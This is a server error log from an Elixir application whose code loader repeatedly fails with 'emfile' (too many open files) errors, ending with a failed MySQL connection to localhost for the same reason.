[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.741000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.742000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.742000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.742000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.743000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.743000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.744000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.745000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.746000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.747000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.748000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.749000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.750000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.750000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.750000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.751000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.827000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.752000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.753000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
